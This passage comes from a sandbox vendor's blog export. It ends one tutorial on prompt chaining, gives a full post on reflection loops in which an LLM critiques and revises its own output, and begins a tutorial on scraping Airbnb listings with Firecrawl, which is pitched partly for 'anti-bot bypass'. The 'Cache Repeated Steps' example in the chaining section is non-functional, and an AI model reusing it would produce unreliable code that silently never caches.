sandbox.files.write("/app/validate.py", validation_code)
result = sandbox.commands.run("python /app/validate.py")
return result.stdout
finally:
sandbox.kill()
def _structure(self, validated: str) -> dict:
"""Step 3: Convert to structured JSON"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Convert this information to JSON with the schema:
{
"people": [{"name": "", "role": ""}],
"dates": [{"date": "", "event": ""}],
"action_items": [{"task": "", "owner": "", "due": ""}],
"decisions": [""]
}"""
}, {
"role": "user",
"content": validated
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)
def _summarize(self, structured: dict) -> str:
"""Step 4: Generate executive summary"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Write a 2-3 sentence executive summary of this meeting/document."
}, {
"role": "user",
"content": json.dumps(structured, indent=2)
}]
)
return response.choices[0].message.content
# Usage
processor = DocumentProcessor()
result = processor.process("""
Meeting Notes - Product Launch Planning
Date: January 15, 2025
Attendees: Sarah Chen (PM), Mike Johnson (Engineering Lead), Lisa Park (Marketing)
Discussion:
Sarah presented the launch timeline. Target launch date is March 1, 2025.
Mike raised concerns about the API stability - needs 2 more weeks of testing.
Lisa confirmed marketing materials will be ready by February 15.
Decisions:
- Soft launch to beta users on February 20
- Full public launch on March 1
- Mike to own the stability testing
Action Items:
- Mike: Complete API load testing by February 1
- Lisa: Finalize press release by February 10
- Sarah: Coordinate with sales team by January 20
""")
print(json.dumps(result, indent=2))
```
## Prompt Chaining Patterns
### Pattern 1: Linear Chain
The simplest pattern—each step feeds into the next:
```
Input → [A] → [B] → [C] → Output
```
```python
def linear_chain(text):
extracted = extract(text)
translated = translate(extracted)
formatted = format_output(translated)
return formatted
```
**Best for**: Sequential transformations, document processing, data pipelines.
### Pattern 2: Branching Chain
Different paths based on intermediate results:
```
┌─[B1]─┐
Input → [A]─┤ ├─[D]→ Output
└─[B2]─┘
```
```python
def branching_chain(text):
classification = classify(text)
if classification == "technical":
processed = technical_processor(text)
else:
processed = general_processor(text)
return finalize(processed)
```
**Best for**: Content routing, specialized processing, conditional logic.
### Pattern 3: Parallel Chain
Multiple independent steps that merge:
```
┌─[A]─┐
Input ──┼─[B]─┼── Merge → Output
└─[C]─┘
```
```python
import concurrent.futures
def parallel_chain(text):
with concurrent.futures.ThreadPoolExecutor() as executor:
future_summary = executor.submit(summarize, text)
future_entities = executor.submit(extract_entities, text)
future_sentiment = executor.submit(analyze_sentiment, text)
summary = future_summary.result()
entities = future_entities.result()
sentiment = future_sentiment.result()
return merge_results(summary, entities, sentiment)
```
**Best for**: Independent analyses, multi-perspective processing, speed optimization.
### Pattern 4: Iterative Chain (Loop)
Repeat until a condition is met:
```
┌──────────────┐
▼ │
Input → [Process] → [Check] ──(not done)──┘
│
(done)
▼
Output
```
```python
def iterative_chain(text, max_iterations=5):
current = text
for i in range(max_iterations):
# Process
improved = improve(current)
# Check if good enough
score = evaluate(improved)
if score > 0.9:
return improved
current = improved
return current
```
**Best for**: Refinement tasks, quality improvement, self-correction.
### Pattern 5: Fallback Chain
Try multiple approaches, use first success:
```
Input → [A] ──(fail)──→ [B] ──(fail)──→ [C] → Output
│ │ │
(success) (success) (success)
▼ ▼ ▼
Output Output Output
```
```python
def fallback_chain(text):
strategies = [
("precise", precise_extract),
("fuzzy", fuzzy_extract),
("llm_only", llm_extract)
]
for name, strategy in strategies:
try:
result = strategy(text)
if validate(result):
return result
except Exception as e:
print(f"{name} failed: {e}")
continue
raise ValueError("All strategies failed")
```
**Best for**: Robust systems, graceful degradation, handling edge cases.
## Adding Code Execution to Chains
Many chain steps benefit from actual code execution—not just LLM reasoning. This is where sandboxed execution becomes essential:
```python
from hopx import Sandbox
import openai
class CodeAugmentedChain:
def __init__(self):
self.client = openai.OpenAI()
def analyze_data(self, data_description: str, question: str) -> dict:
"""
Chain:
1. LLM generates analysis code
2. Code executes in sandbox
3. LLM interprets results
"""
# Step 1: Generate analysis code
code = self._generate_code(data_description, question)
# Step 2: Execute in sandbox
execution_result = self._execute_code(code)
# Step 3: Interpret results
interpretation = self._interpret_results(question, execution_result)
return {
"code": code,
"raw_output": execution_result,
"interpretation": interpretation
}
def _generate_code(self, data_description: str, question: str) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Generate Python code to analyze data and answer the question.
Use pandas for data manipulation.
Print results clearly.
Do not use plt.show() - save plots to files instead."""
}, {
"role": "user",
"content": f"Data: {data_description}\n\nQuestion: {question}"
}]
)
# Extract code from response
content = response.choices[0].message.content
if "```python" in content:
code = content.split("```python")[1].split("```")[0]
else:
code = content
return code.strip()
def _execute_code(self, code: str) -> str:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Install required packages
sandbox.commands.run("pip install pandas numpy -q")
# Write and execute code
sandbox.files.write("/app/analysis.py", code)
result = sandbox.commands.run("python /app/analysis.py")
if result.exit_code != 0:
return f"ERROR:\n{result.stderr}"
return result.stdout
finally:
sandbox.kill()
def _interpret_results(self, question: str, raw_output: str) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Interpret these analysis results in plain English. Be specific and cite numbers."
}, {
"role": "user",
"content": f"Question: {question}\n\nAnalysis Output:\n{raw_output}"
}]
)
return response.choices[0].message.content
# Usage
chain = CodeAugmentedChain()
result = chain.analyze_data(
data_description="CSV file at /app/sales.csv with columns: date, product, revenue, units_sold",
question="What was the best-selling product in Q4 2024?"
)
```
## Error Handling in Chains
Chains fail. Here's how to handle it gracefully:
```python
from dataclasses import dataclass
from typing import Optional
import traceback
@dataclass
class ChainResult:
success: bool
output: Optional[str]
failed_step: Optional[str]
error: Optional[str]
partial_results: dict
class RobustChain:
def __init__(self, steps: list):
self.steps = steps
def run(self, initial_input: str) -> ChainResult:
current_input = initial_input
partial_results = {}
for step in self.steps:
try:
output = step.execute(current_input)
partial_results[step.name] = output
current_input = output
except Exception as e:
return ChainResult(
success=False,
output=None,
failed_step=step.name,
error=f"{type(e).__name__}: {str(e)}\n{traceback.format_exc()}",
partial_results=partial_results
)
return ChainResult(
success=True,
output=current_input,
failed_step=None,
error=None,
partial_results=partial_results
)
# With retry logic
class RetryableChain(RobustChain):
def run(self, initial_input: str, max_retries: int = 3) -> ChainResult:
current_input = initial_input
partial_results = {}
for step in self.steps:
for attempt in range(max_retries):
try:
output = step.execute(current_input)
partial_results[step.name] = output
current_input = output
break # Success, move to next step
except Exception as e:
if attempt == max_retries - 1:
return ChainResult(
success=False,
output=None,
failed_step=step.name,
error=str(e),
partial_results=partial_results
)
# Wait before retry (exponential backoff)
import time
time.sleep(2 ** attempt)
return ChainResult(
success=True,
output=current_input,
failed_step=None,
error=None,
partial_results=partial_results
)
```
## When NOT to Use Prompt Chaining
Chaining isn't always the answer. Avoid it when:
| Scenario | Why Chaining Hurts | Better Alternative |
|----------|-------------------|-------------------|
| **Simple, single-step task** | Unnecessary complexity | Single prompt |
| **Highly interdependent reasoning** | Context loss between steps | Long-context model |
| **Real-time latency requirements** | Each step adds latency | Cached/precomputed |
| **Very short inputs** | Overhead exceeds benefit | Single prompt |
| **Exploratory/creative tasks** | Structure kills creativity | Open-ended prompt |
### Signs You're Over-Chaining
- Each step is trivial (could be done with string formatting)
- You're passing the same context through every step
- The chain is slower than a single smart prompt
- Steps are so coupled they always fail/succeed together
## Performance Optimization
### 1. Parallelize Independent Steps
```python
import asyncio
async def optimized_chain(text):
# These can run in parallel
summary_task = asyncio.create_task(summarize(text))
entities_task = asyncio.create_task(extract_entities(text))
summary, entities = await asyncio.gather(summary_task, entities_task)
# This depends on previous results
final = await generate_report(summary, entities)
return final
```
### 2. Use Smaller Models for Simple Steps
```python
steps = [
Step("Format cleanup", model="gpt-3.5-turbo"), # Simple
Step("Entity extraction", model="gpt-3.5-turbo"), # Pattern matching
Step("Complex reasoning", model="gpt-4o"), # Needs power
Step("Final formatting", model="gpt-3.5-turbo"), # Simple
]
# Cost: ~60% less than using gpt-4o for everything
```
### 3. Cache Repeated Steps
```python
from functools import lru_cache
import hashlib
@lru_cache(maxsize=1000)
def cached_step(input_hash: str, step_name: str) -> str:
# Actual processing
pass
def chain_with_cache(text):
input_hash = hashlib.md5(text.encode()).hexdigest()
# Check cache first
cached = cached_step(input_hash, "extract")
if cached:
return cached
# Process and cache
result = extract(text)
cached_step.cache_info() # Store result
return result
```
### 4. Stream Long Chains
```python
async def streaming_chain(text):
"""Yield results as each step completes"""
yield {"step": "extract", "status": "starting"}
extracted = await extract(text)
yield {"step": "extract", "status": "complete", "preview": extracted[:100]}
yield {"step": "transform", "status": "starting"}
transformed = await transform(extracted)
yield {"step": "transform", "status": "complete", "preview": transformed[:100]}
yield {"step": "format", "status": "starting"}
final = await format_output(transformed)
yield {"step": "format", "status": "complete", "result": final}
```
## Prompt Chaining vs. Agent Loops
Don't confuse chaining with [agentic systems](/blog/ai-agents/what-is-an-ai-agent):
| Prompt Chaining | Agent Loops |
|----------------|-------------|
| Fixed sequence of steps | Dynamic, decides next step |
| Predictable execution path | Unpredictable path |
| Faster, cheaper | More flexible, expensive |
| Easier to debug | Harder to debug |
| Best for known workflows | Best for open-ended tasks |
**Use chaining when** you know the steps upfront.
**Use agents when** the LLM needs to figure out the steps.
Many production systems combine both: an agent that decides *what* to do, then triggers *chains* to do it.
## Building Your First Chain: Quickstart
```python
# Install
# pip install openai hopx
from openai import OpenAI
client = OpenAI()
def chain_step(prompt: str, input_text: str, model: str = "gpt-4o") -> str:
"""Single chain step"""
response = client.chat.completions.create(
model=model,
messages=[{"role": "user", "content": f"{prompt}\n\nInput:\n{input_text}"}]
)
return response.choices[0].message.content
# Your first chain
text = "The quick brown fox jumps over the lazy dog. This is a sample text."
step1 = chain_step("Count the words in this text", text)
step2 = chain_step("Is this count correct? Verify.", step1)
step3 = chain_step("Summarize your findings in one sentence.", step2)
print(step3)
```
Once you're comfortable, add:
1. Error handling
2. Logging/tracing
3. Parallel execution
4. Code execution with [sandboxes](/blog/ai-agents/why-ai-agents-need-isolated-code-execution)
---
## Conclusion
Prompt chaining transforms unreliable mega-prompts into robust, debuggable pipelines:
- **Break complex tasks** into focused steps
- **Debug easily** by inspecting intermediate outputs
- **Optimize costs** by using right-sized models per step
- **Build reusable** components for multiple workflows
Start simple—a 2-3 step chain. Add complexity only when needed.
The best chains feel invisible: they just work, every time.
---
Ready to add code execution to your chains? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Understanding the difference between chains and agents
- [Multi-Agent Architectures with HopX](/blog/deep-dives/multi-agent-architectures-with-hopx) — When single chains aren't enough
- [Streaming Code Execution for Agents](/blog/tutorials/streaming-code-execution-for-agents) — Real-time output from chain steps
- [LangChain Documentation](https://python.langchain.com/docs/modules/chains/) — Popular framework for building chains
---
## The Reflection Pattern: Building Self-Correcting AI Systems
URL: https://hopx.ai/blog/ai-agents/reflection-pattern-self-correcting-ai/
Category: AI Agents
Published: 2025-11-26
# The Reflection Pattern: Building Self-Correcting AI Systems
Here's a uncomfortable truth: your LLM's first answer is rarely its best answer.
Ask GPT-4 to write code, and it works—mostly. Ask it to review that same code, and it finds bugs. Ask it to fix those bugs, and you get better code. This isn't magic. It's the **reflection pattern**.
Reflection is simple: make the AI critique its own work, then improve based on that critique. The result? Dramatically better outputs with minimal extra cost.
## What Is the Reflection Pattern?
Reflection adds a self-review loop to AI generation:
```
┌─────────────────────────────────────────────────────────────┐
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Generate │───▶│ Critique │───▶│ Improve │────┐ │
│ └──────────┘ └──────────┘ └──────────┘ │ │
│ │ │ │
│ ▼ │ │
│ ┌──────────┐ │ │
│ │Good │ │ │
│ No ◄──│Enough? │ │ │
│ └──────────┘ │ │
│ │Yes │ │
│ ▼ │ │
│ Output │ │
│ │ │
│ ◄────────────────────────────────────────────────┘ │
│ (iterate) │
└─────────────────────────────────────────────────────────────┘
```
Instead of:
```
User → LLM → Output
```
You get:
```
User → LLM → Draft → LLM (critic) → Feedback → LLM → Improved → ... → Final Output
```
The same model that makes mistakes can often catch those mistakes when asked to look again with fresh eyes.
## Why Reflection Works
### 1. Different Prompts Activate Different Capabilities
When you ask an LLM to "write code," it's in generation mode—optimizing for producing something that looks right. When you ask it to "review this code for bugs," it's in analysis mode—optimizing for finding problems.
These are different cognitive tasks that activate different patterns in the model.
### 2. Reduced Cognitive Load
Generating AND critiquing simultaneously is hard. Separating them lets the model focus:
| Single Pass | With Reflection |
|-------------|-----------------|
| Generate correct code | Generate code (any code) |
| While avoiding bugs | Then: Find bugs |
| While being efficient | Then: Optimize |
| While handling edge cases | Then: Check edge cases |
### 3. Explicit Reasoning
Reflection forces the model to articulate what's wrong and why. This explicit reasoning often surfaces issues that implicit reasoning misses.
## Basic Reflection Implementation
Here's a minimal but complete implementation:
```python
import openai
from dataclasses import dataclass
@dataclass
class ReflectionResult:
final_output: str
iterations: int
critiques: list[str]
improvements: list[str]
class ReflectionAgent:
def __init__(self, max_iterations: int = 3):
self.client = openai.OpenAI()
self.max_iterations = max_iterations
def generate(self, task: str) -> ReflectionResult:
"""Generate with reflection loop"""
# Initial generation
current_output = self._initial_generate(task)
critiques = []
improvements = []
for i in range(self.max_iterations):
# Critique the current output
critique = self._critique(task, current_output)
critiques.append(critique)
# Check if good enough
if self._is_satisfactory(critique):
break
# Improve based on critique
improved = self._improve(task, current_output, critique)
improvements.append(improved)
current_output = improved
return ReflectionResult(
final_output=current_output,
iterations=i + 1,
critiques=critiques,
improvements=improvements
)
def _initial_generate(self, task: str) -> str:
"""First attempt at the task"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": task
}]
)
return response.choices[0].message.content
def _critique(self, task: str, output: str) -> str:
"""Critique the current output"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """You are a critical reviewer. Analyze the output for:
1. Correctness - Are there any errors or bugs?
2. Completeness - Does it fully address the task?
3. Quality - Could it be clearer, more efficient, or better structured?
4. Edge cases - Are there scenarios not handled?
Be specific and actionable. If the output is excellent, say "APPROVED" and explain why."""
}, {
"role": "user",
"content": f"Task: {task}\n\nOutput to review:\n{output}"
}]
)
return response.choices[0].message.content
def _is_satisfactory(self, critique: str) -> bool:
"""Check if the critique indicates approval"""
return "APPROVED" in critique.upper()
def _improve(self, task: str, current: str, critique: str) -> str:
"""Improve based on critique"""
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Improve the output based on the critique. Address all issues raised."
}, {
"role": "user",
"content": f"""Original task: {task}
Current output:
{current}
Critique:
{critique}
Please provide an improved version that addresses all the issues."""
}]
)
return response.choices[0].message.content
# Usage
agent = ReflectionAgent(max_iterations=3)
result = agent.generate(
"Write a Python function to find the longest palindromic substring in a string."
)
print(f"Final output after {result.iterations} iterations:")
print(result.final_output)
```
## Reflection Patterns
### Pattern 1: Self-Reflection (Single Model)
The same model generates and critiques:
```python
def self_reflect(task: str) -> str:
# Generate
output = generate(task)
# Self-critique
critique = generate(f"Review this output for issues:\n{output}")
# Self-improve
if needs_improvement(critique):
output = generate(f"Improve this based on feedback:\n{output}\n\nFeedback:\n{critique}")
return output
```
**Pros**: Simple, cheap, fast
**Cons**: Same blind spots in generation and critique
### Pattern 2: Critic Model (Different Persona)
Use different system prompts to create distinct "personas":
```python
def critic_reflect(task: str) -> str:
# Generator persona
output = call_llm(
system="You are an expert programmer. Write clean, efficient code.",
user=task
)
# Critic persona (different mindset)
critique = call_llm(
system="""You are a senior code reviewer known for finding subtle bugs.
You never approve code without thorough analysis.
Look for: bugs, edge cases, performance issues, security vulnerabilities.""",
user=f"Review this code:\n{output}"
)
# Improver persona
if not is_approved(critique):
output = call_llm(
system="You are a developer responding to code review feedback.",
user=f"Address this feedback:\n{critique}\n\nOriginal code:\n{output}"
)
return output
```
**Pros**: Different perspectives, catches more issues
**Cons**: More prompt engineering required
### Pattern 3: Multi-Model Reflection
Use different models for generation and critique:
```python
def multi_model_reflect(task: str) -> str:
# Fast model for generation
output = call_llm(model="gpt-4o-mini", prompt=task)
# Powerful model for critique
critique = call_llm(
model="gpt-4o",
prompt=f"Carefully review this for correctness:\n{output}"
)
# Fast model implements fixes
if needs_improvement(critique):
output = call_llm(
model="gpt-4o-mini",
prompt=f"Fix these issues:\n{critique}\n\nCode:\n{output}"
)
return output
```
**Pros**: Cost-effective, leverages model strengths
**Cons**: More complex orchestration
### Pattern 4: Verified Reflection (with Code Execution)
Don't just critique—actually test:
```python
from hopx import Sandbox
def verified_reflect(task: str) -> str:
output = generate_code(task)
for attempt in range(3):
# Actually run the code
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/solution.py", output)
result = sandbox.commands.run("python /app/solution.py")
if result.exit_code == 0:
# Code runs - but is it correct?
verification = verify_output(result.stdout, task)
if verification.passed:
return output
critique = verification.feedback
else:
critique = f"Code failed with error:\n{result.stderr}"
# Improve based on actual execution feedback
output = improve_code(output, critique)
finally:
sandbox.kill()
return output
```
**Pros**: Ground truth verification, catches runtime errors
**Cons**: Requires sandboxed execution, slower
## Advanced: Structured Reflection
For complex tasks, use structured critique formats:
```python
import json
from pydantic import BaseModel
from typing import Literal
class CritiqueItem(BaseModel):
category: Literal["correctness", "completeness", "efficiency", "style", "security"]
severity: Literal["critical", "major", "minor", "suggestion"]
description: str
location: str # Line number or section
suggested_fix: str
class StructuredCritique(BaseModel):
approved: bool
summary: str
issues: list[CritiqueItem]
def structured_reflect(task: str, output: str) -> StructuredCritique:
response = client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Analyze the output and provide structured feedback.
Return JSON matching this schema:
{
"approved": boolean,
"summary": "overall assessment",
"issues": [
{
"category": "correctness|completeness|efficiency|style|security",
"severity": "critical|major|minor|suggestion",
"description": "what's wrong",
"location": "where in the code",
"suggested_fix": "how to fix it"
}
]
}"""
}, {
"role": "user",
"content": f"Task: {task}\n\nOutput:\n{output}"
}],
response_format={"type": "json_object"}
)
return StructuredCritique(**json.loads(response.choices[0].message.content))
# Usage with prioritized fixes
def reflect_with_priority(task: str) -> str:
output = generate(task)
for _ in range(3):
critique = structured_reflect(task, output)
if critique.approved:
break
# Fix critical issues first
critical = [i for i in critique.issues if i.severity == "critical"]
major = [i for i in critique.issues if i.severity == "major"]
if critical:
output = fix_issues(output, critical)
elif major:
output = fix_issues(output, major)
else:
break # Only minor issues remain
return output
```
## Real-World Example: Code Generation with Testing
Here's a complete example that generates code, writes tests, runs them, and iterates:
```python
from hopx import Sandbox
import openai
import json
class TestDrivenReflection:
def __init__(self):
self.client = openai.OpenAI()
def generate_with_tests(self, task: str) -> dict:
"""Generate code that passes tests"""
# Step 1: Generate initial code
code = self._generate_code(task)
# Step 2: Generate tests
tests = self._generate_tests(task, code)
# Step 3: Run and iterate
for attempt in range(5):
result = self._run_tests(code, tests)
if result["passed"]:
return {
"code": code,
"tests": tests,
"attempts": attempt + 1,
"status": "success"
}
# Reflect and improve
code = self._improve_from_failure(task, code, tests, result["error"])
return {
"code": code,
"tests": tests,
"attempts": 5,
"status": "max_attempts_reached"
}
def _generate_code(self, task: str) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Write clean, well-documented Python code. Include type hints."
}, {
"role": "user",
"content": task
}]
)
return self._extract_code(response.choices[0].message.content)
def _generate_tests(self, task: str, code: str) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Write pytest tests for this code. Include:
- Happy path tests
- Edge cases (empty input, large input, invalid input)
- Boundary conditions
Make tests thorough but not excessive."""
}, {
"role": "user",
"content": f"Task: {task}\n\nCode:\n```python\n{code}\n```"
}]
)
return self._extract_code(response.choices[0].message.content)
def _run_tests(self, code: str, tests: str) -> dict:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Install pytest
sandbox.commands.run("pip install pytest -q")
# Write code and tests
sandbox.files.write("/app/solution.py", code)
sandbox.files.write("/app/test_solution.py", f"from solution import *\n\n{tests}")
# Run tests
result = sandbox.commands.run("cd /app && python -m pytest test_solution.py -v")
return {
"passed": result.exit_code == 0,
"output": result.stdout,
"error": result.stderr if result.exit_code != 0 else None
}
finally:
sandbox.kill()
def _improve_from_failure(self, task: str, code: str, tests: str, error: str) -> str:
prompt = f"Task: {task}\n\nCurrent code:\n{code}\n\nTests:\n{tests}\n\nTest error:\n{error}\n\nProvide the fixed code only."
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "The code failed tests. Analyze the error and fix the code. Focus on the specific failure."
}, {
"role": "user",
"content": prompt
}]
)
return self._extract_code(response.choices[0].message.content)
def _extract_code(self, content: str) -> str:
if "```python" in content:
return content.split("```python")[1].split("```")[0].strip()
elif "```" in content:
return content.split("```")[1].split("```")[0].strip()
return content.strip()
# Usage
agent = TestDrivenReflection()
result = agent.generate_with_tests(
"Write a function `merge_sorted_lists(list1, list2)` that merges two sorted lists into one sorted list."
)
print(f"Status: {result['status']}")
print(f"Attempts: {result['attempts']}")
print(f"\nFinal code:\n{result['code']}")
```
## Reflection for Different Tasks
### Writing Tasks
```python
def reflect_on_writing(draft: str, requirements: str) -> str:
critique_prompt = f"""Review this writing for:
1. Clarity - Is it easy to understand?
2. Accuracy - Are all facts correct?
3. Completeness - Does it cover all requirements?
4. Tone - Is it appropriate for the audience?
5. Structure - Is it well-organized?
6. Grammar - Any errors?
Requirements: {requirements}
Draft:
{draft}"""
critique = generate(critique_prompt)
if needs_revision(critique):
improved = generate(f"Revise based on this feedback:\n{critique}\n\nDraft:\n{draft}")
return improved
return draft
```
### Data Analysis
```python
def reflect_on_analysis(analysis: str, data_description: str) -> str:
critique_prompt = f"""Review this data analysis for:
1. Statistical validity - Are methods appropriate?
2. Interpretation - Are conclusions supported by data?
3. Completeness - Are there unexplored angles?
4. Clarity - Would a non-expert understand?
5. Visualization - Are charts appropriate and clear?
Data: {data_description}
Analysis:
{analysis}"""
critique = generate(critique_prompt)
# ... improve based on critique
```
### Decision Making
```python
def reflect_on_decision(decision: str, context: str) -> str:
critique_prompt = f"""Play devil's advocate on this decision:
1. What could go wrong?
2. What alternatives weren't considered?
3. What assumptions might be wrong?
4. Who might be negatively affected?
5. What's the worst-case scenario?
Context: {context}
Proposed decision:
{decision}"""
critique = generate(critique_prompt)
# Generate balanced view
balanced = generate(f"""
Given this decision and critique, provide a balanced recommendation.
Decision: {decision}
Critique: {critique}
Should we proceed, modify, or reconsider?""")
return balanced
```
## When NOT to Use Reflection
Reflection isn't always worth the cost:
| Skip Reflection When | Why |
|---------------------|-----|
| Simple factual queries | "What's the capital of France?" doesn't need review |
| Time-critical responses | Latency matters more than perfection |
| Creative brainstorming | Critique can kill creativity |
| The task is trivial | Overhead exceeds benefit |
| You're already using CoT | Chain-of-thought includes implicit reflection |
### Cost Consideration
Reflection typically 2-3x your token usage:
```
Without reflection: 1 LLM call
With 2 iterations: 5 LLM calls (generate + critique + improve + critique + improve)
```
Use reflection when quality matters more than cost.
## Optimizing Reflection
### 1. Early Exit
Stop as soon as output is good enough:
```python
def optimized_reflect(task: str) -> str:
output = generate(task)
# Quick check - is it obviously good?
quick_check = generate(f"Rate this output 1-10:\n{output}")
if int(quick_check) >= 9:
return output # Skip detailed critique
# Full critique only if needed
critique = detailed_critique(output)
# ...
```
### 2. Targeted Critique
Don't critique everything—focus on what matters:
```python
def targeted_critique(task: str, output: str) -> str:
# Determine what's important for this task
if "code" in task.lower():
focus = "correctness, edge cases, efficiency"
elif "write" in task.lower():
focus = "clarity, accuracy, engagement"
else:
focus = "relevance, completeness"
return generate(f"Critique focusing on {focus}:\n{output}")
```
### 3. Parallel Critique
Run multiple critiques in parallel:
```python
import concurrent.futures
def parallel_critique(output: str) -> list[str]:
aspects = [
"correctness and bugs",
"performance and efficiency",
"readability and style",
"security vulnerabilities"
]
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = [
executor.submit(critique_aspect, output, aspect)
for aspect in aspects
]
return [f.result() for f in futures]
```
## Measuring Reflection Effectiveness
Track these metrics:
```python
@dataclass
class ReflectionMetrics:
initial_score: float # Quality before reflection
final_score: float # Quality after reflection
iterations_used: int # How many loops
tokens_used: int # Cost
time_taken: float # Latency
@property
def improvement(self) -> float:
return (self.final_score - self.initial_score) / self.initial_score
@property
def efficiency(self) -> float:
return self.improvement / self.tokens_used
```
If reflection isn't improving outputs by at least 15-20%, reconsider your critique prompts.
## Conclusion
Reflection is one of the highest-impact patterns you can add to AI systems:
- **Simple to implement** — Just add a critique step
- **Significant quality gains** — 20-50% improvement is common
- **Works everywhere** — Code, writing, analysis, decisions
- **Compounds with other patterns** — Combine with [prompt chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) for even better results
Start with basic self-reflection. Add verified reflection (with code execution) for code tasks. Measure the improvement, and tune your critique prompts.
The AI that reviews its work beats the AI that doesn't. Every time.
---
Ready to add verified reflection with code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that let you test AI-generated code safely.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — The fundamentals of agentic systems
- [Prompt Chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) — Combine with reflection for powerful pipelines
- [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Use separate agents for generation and critique
- [Reflexion Paper](https://arxiv.org/abs/2303.11366) — Academic foundation for reflection in LLMs
---
## Scrape and Analyze Airbnb Data with Firecrawl and HopX
URL: https://hopx.ai/blog/tutorials/scrape-analyze-airbnb-data-firecrawl/
Category: Tutorials
Published: 2025-11-26
# Scrape and Analyze Airbnb Data with Firecrawl and HopX
Web scraping is messy. JavaScript-rendered pages, anti-bot measures, rate limits, and unpredictable HTML structures make it a constant battle.
Firecrawl solves the extraction problem—it handles JavaScript rendering, converts pages to clean markdown or structured data, and manages rate limits. But once you have the data, you need somewhere safe to process it.
This tutorial shows how to build a complete pipeline: scrape Airbnb listing data with Firecrawl, then analyze it in isolated HopX sandboxes.
## Why This Architecture?
```
┌────────────────────────────────────────────────────────────────┐
│ Your Application │
└────────────────────────────────────────────────────────────────┘
│
┌──────────────────┴──────────────────┐
│ │
▼ ▼
┌───────────────────────┐ ┌───────────────────────────┐
│ Firecrawl │ │ HopX Sandbox │
│ │ │ │
│ • JS rendering │ │ • Secure code execution │
│ • Anti-bot bypass │ │ • Data processing │
│ • Clean extraction │ │ • Feature engineering │
│ • Rate limiting │ │ • Analysis & ML │
└───────────────────────┘ └───────────────────────────┘
│ │
└──────────────────┬──────────────────┘
│
▼
Processed, analyzed data
```
**Why not process data locally?**
- Scraped data can contain malicious payloads
- Dynamic code (eval-based transformations) needs isolation
- Reproducible environments for consistent results
- Scale processing without affecting your main system
## Prerequisites
```bash
pip install firecrawl-py hopx-ai pandas
```
Set your API keys:
```bash
export FIRECRAWL_API_KEY="fc-..."
export HOPX_API_KEY="..."
```
## Step 1: Scrape Airbnb Listings with Firecrawl
First, let's extract listing data. Firecrawl handles the JavaScript rendering and returns clean, structured content:
```python
from firecrawl import FirecrawlApp
import json
# Initialize Firecrawl
firecrawl = FirecrawlApp(api_key="your-firecrawl-key")
def scrape_airbnb_search(location: str, checkin: str, checkout: str) -> dict:
"""Scrape Airbnb search results for a location."""
# Build search URL
url = f"https://www.airbnb.com/s/{location}/homes"
params = f"?checkin={checkin}&checkout={checkout}"
# Scrape with Firecrawl
result = firecrawl.scrape_url(
url + params,
params={
"formats": ["markdown", "extract"],
"extract": {
"schema": {
"type": "object",
"properties": {
"listings": {
"type": "array",
"items": {
"type": "object",
"properties": {
"title": {"type": "string"},
"price_per_night": {"type": "string"},
"rating": {"type": "string"},
"reviews_count": {"type": "string"},
"property_type": {"type": "string"},
"bedrooms": {"type": "string"},
"amenities": {"type": "array", "items": {"type": "string"}}
}
}
}
}
}
}
}
)
return result
# Scrape multiple locations
locations = ["new-york", "san-francisco", "miami"]
all_listings = []
for location in locations:
print(f"Scraping {location}...")
data = scrape_airbnb_search(location, "2025-02-01", "2025-02-07")
if data.get("extract", {}).get("listings"):
for listing in data["extract"]["listings"]:
listing["location"] = location
all_listings.append(listing)
print(f"Scraped {len(all_listings)} listings")
```
## Step 2: Process Data in HopX Sandbox
Now let's clean and transform the scraped data in an isolated environment:
```python
from hopx import Sandbox
import json
def process_listings_in_sandbox(raw_listings: list) -> dict:
"""Clean and process listing data in isolated sandbox."""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Upload raw data to sandbox
sandbox.files.write("/app/raw_listings.json", json.dumps(raw_listings))
# Data cleaning and feature engineering code
processing_code = '''
import pandas as pd
import json
import re
# Load raw data
with open("/app/raw_listings.json") as f:
raw_data = json.load(f)
df = pd.DataFrame(raw_data)
# Clean price column
def clean_price(price_str):
if not price_str:
return None
# Extract numeric value
match = re.search(r"[\d,]+", str(price_str).replace(",", ""))
return float(match.group()) if match else None
df["price_clean"] = df["price_per_night"].apply(clean_price)
# Clean rating
def clean_rating(rating_str):
if not rating_str:
return None
match = re.search(r"(\d+\.?\d*)", str(rating_str))
return float(match.group()) if match else None
df["rating_clean"] = df["rating"].apply(clean_rating)
# Clean reviews count
def clean_reviews(reviews_str):
if not reviews_str:
return 0
match = re.search(r"(\d+)", str(reviews_str).replace(",", ""))
return int(match.group()) if match else 0
df["reviews_clean"] = df["reviews_count"].apply(clean_reviews)
# Extract bedrooms as integer
def extract_bedrooms(bedroom_str):
if not bedroom_str:
return None
match = re.search(r"(\d+)", str(bedroom_str))
return int(match.group()) if match else None
